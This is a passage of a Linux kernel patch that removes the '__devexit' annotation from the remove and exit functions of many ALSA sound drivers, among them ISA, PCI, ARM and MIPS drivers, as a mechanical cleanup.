 sound/soc/txx9/txx9aclc.c                | 2 +-
 sound/soc/ux500/mop500.c                 | 2 +-
 sound/soc/ux500/ux500_msp_dai.c          | 2 +-
 sound/soc/ux500/ux500_pcm.c              | 2 +-
 sound/sparc/cs4231.c                     | 2 +-
 sound/sparc/dbri.c                       | 2 +-
 sound/spi/at73c213.c                     | 2 +-
 329 files changed, 371 insertions(+), 371 deletions(-)

diff --git a/sound/arm/aaci.c b/sound/arm/aaci.c
index e54a83e..63b1e14 100644
--- a/sound/arm/aaci.c
+++ b/sound/arm/aaci.c
@@ -1072,7 +1072,7 @@ static int aaci_probe(struct amba_device *dev,
 	return ret;
 }
 
-static int __devexit aaci_remove(struct amba_device *dev)
+static int aaci_remove(struct amba_device *dev)
 {
 	struct snd_card *card = amba_get_drvdata(dev);
 
diff --git a/sound/arm/pxa2xx-ac97.c b/sound/arm/pxa2xx-ac97.c
index 59ffc3e..ec54be4 100644
--- a/sound/arm/pxa2xx-ac97.c
+++ b/sound/arm/pxa2xx-ac97.c
@@ -224,7 +224,7 @@ err_dev:
 	return ret;
 }
 
-static int __devexit pxa2xx_ac97_remove(struct platform_device *dev)
+static int pxa2xx_ac97_remove(struct platform_device *dev)
 {
 	struct snd_card *card = platform_get_drvdata(dev);
 
diff --git a/sound/atmel/abdac.c b/sound/atmel/abdac.c
index d3b9cf5..071ce1b 100644
--- a/sound/atmel/abdac.c
+++ b/sound/atmel/abdac.c
@@ -567,7 +567,7 @@ static SIMPLE_DEV_PM_OPS(atmel_abdac_pm, atmel_abdac_suspend, atmel_abdac_resume
 #define ATMEL_ABDAC_PM_OPS	NULL
 #endif
 
-static int __devexit atmel_abdac_remove(struct platform_device *pdev)
+static int atmel_abdac_remove(struct platform_device *pdev)
 {
 	struct snd_card *card = platform_get_drvdata(pdev);
 	struct atmel_abdac *dac = get_dac(card);
diff --git a/sound/atmel/ac97c.c b/sound/atmel/ac97c.c
index 7b5664f..79d6bda 100644
--- a/sound/atmel/ac97c.c
+++ b/sound/atmel/ac97c.c
@@ -1168,7 +1168,7 @@ static SIMPLE_DEV_PM_OPS(atmel_ac97c_pm, atmel_ac97c_suspend, atmel_ac97c_resume
 #define ATMEL_AC97C_PM_OPS	NULL
 #endif
 
-static int __devexit atmel_ac97c_remove(struct platform_device *pdev)
+static int atmel_ac97c_remove(struct platform_device *pdev)
 {
 	struct snd_card *card = platform_get_drvdata(pdev);
 	struct atmel_ac97c *chip = get_chip(card);
diff --git a/sound/drivers/aloop.c b/sound/drivers/aloop.c
index 542a5b7..7a7a5cb 100644
--- a/sound/drivers/aloop.c
+++ b/sound/drivers/aloop.c
@@ -1177,7 +1177,7 @@ static int loopback_probe(struct platform_device *devptr)
 	return err;
 }
 
-static int __devexit loopback_remove(struct platform_device *devptr)
+static int loopback_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
diff --git a/sound/drivers/dummy.c b/sound/drivers/dummy.c
index 7cfb2f2..7a1d41a 100644
--- a/sound/drivers/dummy.c
+++ b/sound/drivers/dummy.c
@@ -1126,7 +1126,7 @@ static int snd_dummy_probe(struct platform_device *devptr)
 	return err;
 }
 
-static int __devexit snd_dummy_remove(struct platform_device *devptr)
+static int snd_dummy_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
diff --git a/sound/drivers/mpu401/mpu401.c b/sound/drivers/mpu401/mpu401.c
index 5c10699..b99415f 100644
--- a/sound/drivers/mpu401/mpu401.c
+++ b/sound/drivers/mpu401/mpu401.c
@@ -126,7 +126,7 @@ static int snd_mpu401_probe(struct platform_device *devptr)
 	return 0;
 }
 
-static int __devexit snd_mpu401_remove(struct platform_device *devptr)
+static int snd_mpu401_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
@@ -211,7 +211,7 @@ static int snd_mpu401_pnp_probe(struct pnp_dev *pnp_dev,
 	return -ENODEV;
 }
 
-static void __devexit snd_mpu401_pnp_remove(struct pnp_dev *dev)
+static void snd_mpu401_pnp_remove(struct pnp_dev *dev)
 {
 	struct snd_card *card = (struct snd_card *) pnp_get_drvdata(dev);
 
diff --git a/sound/drivers/mtpav.c b/sound/drivers/mtpav.c
index 8fd51d5..88cc634 100644
--- a/sound/drivers/mtpav.c
+++ b/sound/drivers/mtpav.c
@@ -746,7 +746,7 @@ static int snd_mtpav_probe(struct platform_device *dev)
 	return err;
 }
 
-static int __devexit snd_mtpav_remove(struct platform_device *devptr)
+static int snd_mtpav_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
diff --git a/sound/drivers/mts64.c b/sound/drivers/mts64.c
index f1d463e..5eec128 100644
--- a/sound/drivers/mts64.c
+++ b/sound/drivers/mts64.c
@@ -1025,7 +1025,7 @@ __err:
 	return err;
 }
 
-static int __devexit snd_mts64_remove(struct platform_device *pdev)
+static int snd_mts64_remove(struct platform_device *pdev)
 {
 	struct snd_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/drivers/pcsp/pcsp.c b/sound/drivers/pcsp/pcsp.c
index 0ad0105..7a5fdb9 100644
--- a/sound/drivers/pcsp/pcsp.c
+++ b/sound/drivers/pcsp/pcsp.c
@@ -161,7 +161,7 @@ static int alsa_card_pcsp_init(struct device *dev)
 	return 0;
 }
 
-static void __devexit alsa_card_pcsp_exit(struct snd_pcsp *chip)
+static void alsa_card_pcsp_exit(struct snd_pcsp *chip)
 {
 	snd_card_free(chip->card);
 }
@@ -184,7 +184,7 @@ static int pcsp_probe(struct platform_device *dev)
 	return 0;
 }
 
-static int __devexit pcsp_remove(struct platform_device *dev)
+static int pcsp_remove(struct platform_device *dev)
 {
 	struct snd_pcsp *chip = platform_get_drvdata(dev);
 	alsa_card_pcsp_exit(chip);
diff --git a/sound/drivers/portman2x4.c b/sound/drivers/portman2x4.c
index bc4be6f..66996f3 100644
--- a/sound/drivers/portman2x4.c
+++ b/sound/drivers/portman2x4.c
@@ -814,7 +814,7 @@ __err:
 	return err;
 }
 
-static int __devexit snd_portman_remove(struct platform_device *pdev)
+static int snd_portman_remove(struct platform_device *pdev)
 {
 	struct snd_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/drivers/serial-u16550.c b/sound/drivers/serial-u16550.c
index 310b075..9b0a139 100644
--- a/sound/drivers/serial-u16550.c
+++ b/sound/drivers/serial-u16550.c
@@ -982,7 +982,7 @@ static int snd_serial_probe(struct platform_device *devptr)
 	return err;
 }
 
-static int __devexit snd_serial_remove(struct platform_device *devptr)
+static int snd_serial_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
diff --git a/sound/drivers/virmidi.c b/sound/drivers/virmidi.c
index ab3ec53..cc4be88 100644
--- a/sound/drivers/virmidi.c
+++ b/sound/drivers/virmidi.c
@@ -129,7 +129,7 @@ static int snd_virmidi_probe(struct platform_device *devptr)
 	return err;
 }
 
-static int __devexit snd_virmidi_remove(struct platform_device *devptr)
+static int snd_virmidi_remove(struct platform_device *devptr)
 {
 	snd_card_free(platform_get_drvdata(devptr));
 	platform_set_drvdata(devptr, NULL);
diff --git a/sound/firewire/speakers.c b/sound/firewire/speakers.c
index 3ac0b9ed..d684655 100644
--- a/sound/firewire/speakers.c
+++ b/sound/firewire/speakers.c
@@ -770,7 +770,7 @@ error:
 	return err;
 }
 
-static int __devexit fwspk_remove(struct device *dev)
+static int fwspk_remove(struct device *dev)
 {
 	struct fwspk *fwspk = dev_get_drvdata(dev);
 
diff --git a/sound/isa/ad1816a/ad1816a.c b/sound/isa/ad1816a/ad1816a.c
index f63bf61..5640370 100644
--- a/sound/isa/ad1816a/ad1816a.c
+++ b/sound/isa/ad1816a/ad1816a.c
@@ -238,7 +238,7 @@ static int snd_ad1816a_pnp_detect(struct pnp_card_link *card,
         return -ENODEV;
 }
 
-static void __devexit snd_ad1816a_pnp_remove(struct pnp_card_link * pcard)
+static void snd_ad1816a_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/ad1848/ad1848.c b/sound/isa/ad1848/ad1848.c
index 3cef9ec..c214ecf 100644
--- a/sound/isa/ad1848/ad1848.c
+++ b/sound/isa/ad1848/ad1848.c
@@ -132,7 +132,7 @@ out:	snd_card_free(card);
 	return error;
 }
 
-static int __devexit snd_ad1848_remove(struct device *dev, unsigned int n)
+static int snd_ad1848_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
diff --git a/sound/isa/adlib.c b/sound/isa/adlib.c
index 6a1c666..d265455 100644
--- a/sound/isa/adlib.c
+++ b/sound/isa/adlib.c
@@ -98,7 +98,7 @@ out:	snd_card_free(card);
 	return error;
 }
 
-static int __devexit snd_adlib_remove(struct device *dev, unsigned int n)
+static int snd_adlib_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
diff --git a/sound/isa/als100.c b/sound/isa/als100.c
index b282f007..c395ac3 100644
--- a/sound/isa/als100.c
+++ b/sound/isa/als100.c
@@ -307,7 +307,7 @@ static int snd_als100_pnp_detect(struct pnp_card_link *card,
 	return -ENODEV;
 }
 
-static void __devexit snd_als100_pnp_remove(struct pnp_card_link * pcard)
+static void snd_als100_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/azt2320.c b/sound/isa/azt2320.c
index 19b1fee..c83418d 100644
--- a/sound/isa/azt2320.c
+++ b/sound/isa/azt2320.c
@@ -285,7 +285,7 @@ static int snd_azt2320_pnp_detect(struct pnp_card_link *card,
         return -ENODEV;
 }
 
-static void __devexit snd_azt2320_pnp_remove(struct pnp_card_link * pcard)
+static void snd_azt2320_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/cmi8328.c b/sound/isa/cmi8328.c
index 6dfead9..a7369fe 100644
--- a/sound/isa/cmi8328.c
+++ b/sound/isa/cmi8328.c
@@ -401,7 +401,7 @@ error:
 	return err;
 }
 
-static int __devexit snd_cmi8328_remove(struct device *pdev, unsigned int dev)
+static int snd_cmi8328_remove(struct device *pdev, unsigned int dev)
 {
 	struct snd_card *card = dev_get_drvdata(pdev);
 	struct snd_cmi8328 *cmi = card->private_data;
diff --git a/sound/isa/cmi8330.c b/sound/isa/cmi8330.c
index e294e22..d96641c 100644
--- a/sound/isa/cmi8330.c
+++ b/sound/isa/cmi8330.c
@@ -647,7 +647,7 @@ static int snd_cmi8330_isa_probe(struct device *pdev,
 	return 0;
 }
 
-static int __devexit snd_cmi8330_isa_remove(struct device *devptr,
+static int snd_cmi8330_isa_remove(struct device *devptr,
 					    unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
@@ -717,7 +717,7 @@ static int snd_cmi8330_pnp_detect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_cmi8330_pnp_remove(struct pnp_card_link * pcard)
+static void snd_cmi8330_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/cs423x/cs4231.c b/sound/isa/cs423x/cs4231.c
index ece5d8f..aa7a5d8 100644
--- a/sound/isa/cs423x/cs4231.c
+++ b/sound/isa/cs423x/cs4231.c
@@ -148,7 +148,7 @@ out:	snd_card_free(card);
 	return error;
 }
 
-static int __devexit snd_cs4231_remove(struct device *dev, unsigned int n)
+static int snd_cs4231_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
diff --git a/sound/isa/cs423x/cs4236.c b/sound/isa/cs423x/cs4236.c
index 752ccba..10602b8 100644
--- a/sound/isa/cs423x/cs4236.c
+++ b/sound/isa/cs423x/cs4236.c
@@ -500,7 +500,7 @@ static int snd_cs423x_isa_probe(struct device *pdev,
 	return 0;
 }
 
-static int __devexit snd_cs423x_isa_remove(struct device *pdev,
+static int snd_cs423x_isa_remove(struct device *pdev,
 					   unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(pdev));
@@ -597,7 +597,7 @@ static int snd_cs423x_pnpbios_detect(struct pnp_dev *pdev,
 	return 0;
 }
 
-static void __devexit snd_cs423x_pnp_remove(struct pnp_dev *pdev)
+static void snd_cs423x_pnp_remove(struct pnp_dev *pdev)
 {
 	snd_card_free(pnp_get_drvdata(pdev));
 	pnp_set_drvdata(pdev, NULL);
@@ -659,7 +659,7 @@ static int snd_cs423x_pnpc_detect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_cs423x_pnpc_remove(struct pnp_card_link * pcard)
+static void snd_cs423x_pnpc_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/es1688/es1688.c b/sound/isa/es1688/es1688.c
index f62803b..a964e56 100644
--- a/sound/isa/es1688/es1688.c
+++ b/sound/isa/es1688/es1688.c
@@ -210,7 +210,7 @@ out:
 	return error;
 }
 
-static int __devexit snd_es1688_isa_remove(struct device *dev, unsigned int n)
+static int snd_es1688_isa_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
@@ -295,7 +295,7 @@ static int snd_es968_pnp_detect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_es968_pnp_remove(struct pnp_card_link * pcard)
+static void snd_es968_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/es18xx.c b/sound/isa/es18xx.c
index 8fe5dc1..45e259f 100644
--- a/sound/isa/es18xx.c
+++ b/sound/isa/es18xx.c
@@ -2231,7 +2231,7 @@ static int snd_es18xx_isa_probe(struct device *pdev, unsigned int dev)
 	}
 }
 
-static int __devexit snd_es18xx_isa_remove(struct device *devptr,
+static int snd_es18xx_isa_remove(struct device *devptr,
 					   unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
@@ -2302,7 +2302,7 @@ static int snd_audiodrive_pnp_detect(struct pnp_dev *pdev,
 	return 0;
 }
 
-static void __devexit snd_audiodrive_pnp_remove(struct pnp_dev * pdev)
+static void snd_audiodrive_pnp_remove(struct pnp_dev * pdev)
 {
 	snd_card_free(pnp_get_drvdata(pdev));
 	pnp_set_drvdata(pdev, NULL);
@@ -2363,7 +2363,7 @@ static int snd_audiodrive_pnpc_detect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_audiodrive_pnpc_remove(struct pnp_card_link * pcard)
+static void snd_audiodrive_pnpc_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/galaxy/galaxy.c b/sound/isa/galaxy/galaxy.c
index 6955e78..672184e 100644
--- a/sound/isa/galaxy/galaxy.c
+++ b/sound/isa/galaxy/galaxy.c
@@ -620,7 +620,7 @@ error:
 	return err;
 }
 
-static int __devexit snd_galaxy_remove(struct device *dev, unsigned int n)
+static int snd_galaxy_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
diff --git a/sound/isa/gus/gusclassic.c b/sound/isa/gus/gusclassic.c
index 4a4c856..3a85beb 100644
--- a/sound/isa/gus/gusclassic.c
+++ b/sound/isa/gus/gusclassic.c
@@ -211,7 +211,7 @@ out:	snd_card_free(card);
 	return error;
 }
 
-static int __devexit snd_gusclassic_remove(struct device *dev, unsigned int n)
+static int snd_gusclassic_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
diff --git a/sound/isa/gus/gusextreme.c b/sound/isa/gus/gusextreme.c
index e8ee416..99ab85c 100644
--- a/sound/isa/gus/gusextreme.c
+++ b/sound/isa/gus/gusextreme.c
@@ -339,7 +339,7 @@ out:	snd_card_free(card);
 	return error;
 }
 
-static int __devexit snd_gusextreme_remove(struct device *dev, unsigned int n)
+static int snd_gusextreme_remove(struct device *dev, unsigned int n)
 {
 	snd_card_free(dev_get_drvdata(dev));
 	dev_set_drvdata(dev, NULL);
diff --git a/sound/isa/gus/gusmax.c b/sound/isa/gus/gusmax.c
index 6e297c8..69477d3 100644
--- a/sound/isa/gus/gusmax.c
+++ b/sound/isa/gus/gusmax.c
@@ -354,7 +354,7 @@ static int snd_gusmax_probe(struct device *pdev, unsigned int dev)
 	return err;
 }
 
-static int __devexit snd_gusmax_remove(struct device *devptr, unsigned int dev)
+static int snd_gusmax_remove(struct device *devptr, unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
 	dev_set_drvdata(devptr, NULL);
diff --git a/sound/isa/gus/interwave.c b/sound/isa/gus/interwave.c
index b5f436a..02d1dd0 100644
--- a/sound/isa/gus/interwave.c
+++ b/sound/isa/gus/interwave.c
@@ -846,7 +846,7 @@ static int snd_interwave_isa_probe(struct device *pdev,
 	}
 }
 
-static int __devexit snd_interwave_isa_remove(struct device *devptr, unsigned int dev)
+static int snd_interwave_isa_remove(struct device *devptr, unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
 	dev_set_drvdata(devptr, NULL);
@@ -896,7 +896,7 @@ static int snd_interwave_pnp_detect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_interwave_pnp_remove(struct pnp_card_link * pcard)
+static void snd_interwave_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c
index 75f297e..c57216d 100644
--- a/sound/isa/msnd/msnd_pinnacle.c
+++ b/sound/isa/msnd/msnd_pinnacle.c
@@ -634,7 +634,7 @@ err_release_region:
 }
 
 
-static void __devexit snd_msnd_unload(struct snd_card *card)
+static void snd_msnd_unload(struct snd_card *card)
 {
 	struct snd_msnd *chip = card->private_data;
 
@@ -1061,7 +1061,7 @@ cfg_error:
 #endif
 }
 
-static int __devexit snd_msnd_isa_remove(struct device *pdev, unsigned int dev)
+static int snd_msnd_isa_remove(struct device *pdev, unsigned int dev)
 {
 	snd_msnd_unload(dev_get_drvdata(pdev));
 	dev_set_drvdata(pdev, NULL);
@@ -1185,7 +1185,7 @@ _release_card:
 	return ret;
 }
 
-static void __devexit snd_msnd_pnp_remove(struct pnp_card_link *pcard)
+static void snd_msnd_pnp_remove(struct pnp_card_link *pcard)
 {
 	snd_msnd_unload(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/opl3sa2.c b/sound/isa/opl3sa2.c
index 9f71f956..cdbfb17 100644
--- a/sound/isa/opl3sa2.c
+++ b/sound/isa/opl3sa2.c
@@ -754,7 +754,7 @@ static int snd_opl3sa2_pnp_detect(struct pnp_dev *pdev,
 	return 0;
 }
 
-static void __devexit snd_opl3sa2_pnp_remove(struct pnp_dev * pdev)
+static void snd_opl3sa2_pnp_remove(struct pnp_dev * pdev)
 {
 	snd_card_free(pnp_get_drvdata(pdev));
 	pnp_set_drvdata(pdev, NULL);
@@ -820,7 +820,7 @@ static int snd_opl3sa2_pnp_cdetect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_opl3sa2_pnp_cremove(struct pnp_card_link * pcard)
+static void snd_opl3sa2_pnp_cremove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
@@ -896,7 +896,7 @@ static int snd_opl3sa2_isa_probe(struct device *pdev,
 	return 0;
 }
 
-static int __devexit snd_opl3sa2_isa_remove(struct device *devptr,
+static int snd_opl3sa2_isa_remove(struct device *devptr,
 					    unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
diff --git a/sound/isa/opti9xx/miro.c b/sound/isa/opti9xx/miro.c
index f8747ab..f4f0e7d 100644
--- a/sound/isa/opti9xx/miro.c
+++ b/sound/isa/opti9xx/miro.c
@@ -1491,7 +1491,7 @@ static int snd_miro_isa_probe(struct device *devptr, unsigned int n)
 	return 0;
 }
 
-static int __devexit snd_miro_isa_remove(struct device *devptr,
+static int snd_miro_isa_remove(struct device *devptr,
 					 unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
@@ -1624,7 +1624,7 @@ static int snd_miro_pnp_probe(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_miro_pnp_remove(struct pnp_card_link * pcard)
+static void snd_miro_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/opti9xx/opti92x-ad1848.c b/sound/isa/opti9xx/opti92x-ad1848.c
index 4a0d193..4a69f7e 100644
--- a/sound/isa/opti9xx/opti92x-ad1848.c
+++ b/sound/isa/opti9xx/opti92x-ad1848.c
@@ -1031,7 +1031,7 @@ static int snd_opti9xx_isa_probe(struct device *devptr,
 	return 0;
 }
 
-static int __devexit snd_opti9xx_isa_remove(struct device *devptr,
+static int snd_opti9xx_isa_remove(struct device *devptr,
 					    unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
@@ -1146,7 +1146,7 @@ static int snd_opti9xx_pnp_probe(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_opti9xx_pnp_remove(struct pnp_card_link * pcard)
+static void snd_opti9xx_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/sb/jazz16.c b/sound/isa/sb/jazz16.c
index 5bc42fe..0560d07 100644
--- a/sound/isa/sb/jazz16.c
+++ b/sound/isa/sb/jazz16.c
@@ -341,7 +341,7 @@ err_free:
 	return err;
 }
 
-static int __devexit snd_jazz16_remove(struct device *devptr, unsigned int dev)
+static int snd_jazz16_remove(struct device *devptr, unsigned int dev)
 {
 	struct snd_card *card = dev_get_drvdata(devptr);
 
diff --git a/sound/isa/sb/sb16.c b/sound/isa/sb/sb16.c
index fcb14b8..e44a645 100644
--- a/sound/isa/sb/sb16.c
+++ b/sound/isa/sb/sb16.c
@@ -563,7 +563,7 @@ static int snd_sb16_isa_probe(struct device *pdev, unsigned int dev)
 	}
 }
 
-static int __devexit snd_sb16_isa_remove(struct device *pdev, unsigned int dev)
+static int snd_sb16_isa_remove(struct device *pdev, unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(pdev));
 	dev_set_drvdata(pdev, NULL);
@@ -631,7 +631,7 @@ static int snd_sb16_pnp_detect(struct pnp_card_link *pcard,
 	return -ENODEV;
 }
 
-static void __devexit snd_sb16_pnp_remove(struct pnp_card_link * pcard)
+static void snd_sb16_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/sb/sb8.c b/sound/isa/sb/sb8.c
index 69aa275..237d964 100644
--- a/sound/isa/sb/sb8.c
+++ b/sound/isa/sb/sb8.c
@@ -205,7 +205,7 @@ static int snd_sb8_probe(struct device *pdev, unsigned int dev)
 	return err;
 }
 
-static int __devexit snd_sb8_remove(struct device *pdev, unsigned int dev)
+static int snd_sb8_remove(struct device *pdev, unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(pdev));
 	dev_set_drvdata(pdev, NULL);
diff --git a/sound/isa/sc6000.c b/sound/isa/sc6000.c
index 486da56..fc648f2 100644
--- a/sound/isa/sc6000.c
+++ b/sound/isa/sc6000.c
@@ -687,7 +687,7 @@ err_exit:
 	return err;
 }
 
-static int __devexit snd_sc6000_remove(struct device *devptr, unsigned int dev)
+static int snd_sc6000_remove(struct device *devptr, unsigned int dev)
 {
 	struct snd_card *card = dev_get_drvdata(devptr);
 	char __iomem **vport = card->private_data;
diff --git a/sound/isa/sscape.c b/sound/isa/sscape.c
index 0b67a79..fc4ff0f 100644
--- a/sound/isa/sscape.c
+++ b/sound/isa/sscape.c
@@ -1197,7 +1197,7 @@ _release_card:
 	return ret;
 }
 
-static int __devexit snd_sscape_remove(struct device *devptr, unsigned int dev)
+static int snd_sscape_remove(struct device *devptr, unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
 	dev_set_drvdata(devptr, NULL);
@@ -1310,7 +1310,7 @@ _release_card:
 	return ret;
 }
 
-static void __devexit sscape_pnp_remove(struct pnp_card_link * pcard)
+static void sscape_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/isa/wavefront/wavefront.c b/sound/isa/wavefront/wavefront.c
index abe3c34..145a805 100644
--- a/sound/isa/wavefront/wavefront.c
+++ b/sound/isa/wavefront/wavefront.c
@@ -575,7 +575,7 @@ static int snd_wavefront_isa_probe(struct device *pdev,
 	return 0;
 }
 
-static int __devexit snd_wavefront_isa_remove(struct device *devptr,
+static int snd_wavefront_isa_remove(struct device *devptr,
 					      unsigned int dev)
 {
 	snd_card_free(dev_get_drvdata(devptr));
@@ -632,7 +632,7 @@ static int snd_wavefront_pnp_detect(struct pnp_card_link *pcard,
 	return 0;
 }
 
-static void __devexit snd_wavefront_pnp_remove(struct pnp_card_link * pcard)
+static void snd_wavefront_pnp_remove(struct pnp_card_link * pcard)
 {
 	snd_card_free(pnp_get_card_drvdata(pcard));
 	pnp_set_card_drvdata(pcard, NULL);
diff --git a/sound/mips/hal2.c b/sound/mips/hal2.c
index 690e019..7420c59 100644
--- a/sound/mips/hal2.c
+++ b/sound/mips/hal2.c
@@ -917,7 +917,7 @@ static int hal2_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit hal2_remove(struct platform_device *pdev)
+static int hal2_remove(struct platform_device *pdev)
 {
 	struct snd_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/mips/sgio2audio.c b/sound/mips/sgio2audio.c
index 8b5ef60..6a1de57 100644
--- a/sound/mips/sgio2audio.c
+++ b/sound/mips/sgio2audio.c
@@ -958,7 +958,7 @@ static int snd_sgio2audio_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit snd_sgio2audio_remove(struct platform_device *pdev)
+static int snd_sgio2audio_remove(struct platform_device *pdev)
 {
 	struct snd_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/oss/kahlua.c b/sound/oss/kahlua.c
index 5d092d2..2a44cc1 100644
--- a/sound/oss/kahlua.c
+++ b/sound/oss/kahlua.c
@@ -183,7 +183,7 @@ err_out_free:
 	return 1;
 }
 
-static void __devexit remove_one(struct pci_dev *pdev)
+static void remove_one(struct pci_dev *pdev)
 {
 	struct address_info *hw_config = pci_get_drvdata(pdev);
 	sb_dsp_unload(hw_config, 0);
@@ -220,7 +220,7 @@ static int __init kahlua_init_module(void)
 	return pci_register_driver(&kahlua_driver);
 }
 
-static void __devexit kahlua_cleanup_module(void)
+static void kahlua_cleanup_module(void)
 {
 	pci_unregister_driver(&kahlua_driver);
 }
diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index cef6a11..7a624cc 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -1008,7 +1008,7 @@ free_and_ret:
 	return err;
 }
 
-static int __devexit
+static int
 snd_harmony_remove(struct parisc_device *padev)
 {
 	snd_card_free(parisc_get_drvdata(padev));
diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 099d9fd..874c79b 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -1035,7 +1035,7 @@ free_and_ret:
 	return err;
 }
 
-static void __devexit
+static void
 snd_ad1889_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
diff --git a/sound/pci/ali5451/ali5451.c b/sound/pci/ali5451/ali5451.c
index b611059..4b61bd1 100644
--- a/sound/pci/ali5451/ali5451.c
+++ b/sound/pci/ali5451/ali5451.c
@@ -2295,7 +2295,7 @@ static int snd_ali_probe(struct pci_dev *pci,
 	return err;
 }
 
-static void __devexit snd_ali_remove(struct pci_dev *pci)
+static void snd_ali_remove(struct pci_dev *pci)
 {
 	snd_card_free(pci_get_drvdata(pci));
 	pci_set_drvdata(pci, NULL);
diff --git a/sound/pci/als300.c b/sound/pci/als300.c
index 8fac3ce..6da6ea4 100644
--- a/sound/pci/als300.c
+++ b/sound/pci/als300.c
@@ -278,7 +278,7 @@ static irqreturn_t snd_als300plus_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static void __devexit snd_als300_remove(struct pci_dev *pci)
+static void snd_als300_remove(struct pci_dev *pci)
 {
 	snd_als300_dbgcallenter();
 	snd_card_free(pci_get_drvdata(pci));
diff --git a/sound/pci/als4000.c b/sound/pci/als4000.c
index 2588c47..e8f4f03 100644
--- a/sound/pci/als4000.c
+++ b/sound/pci/als4000.c
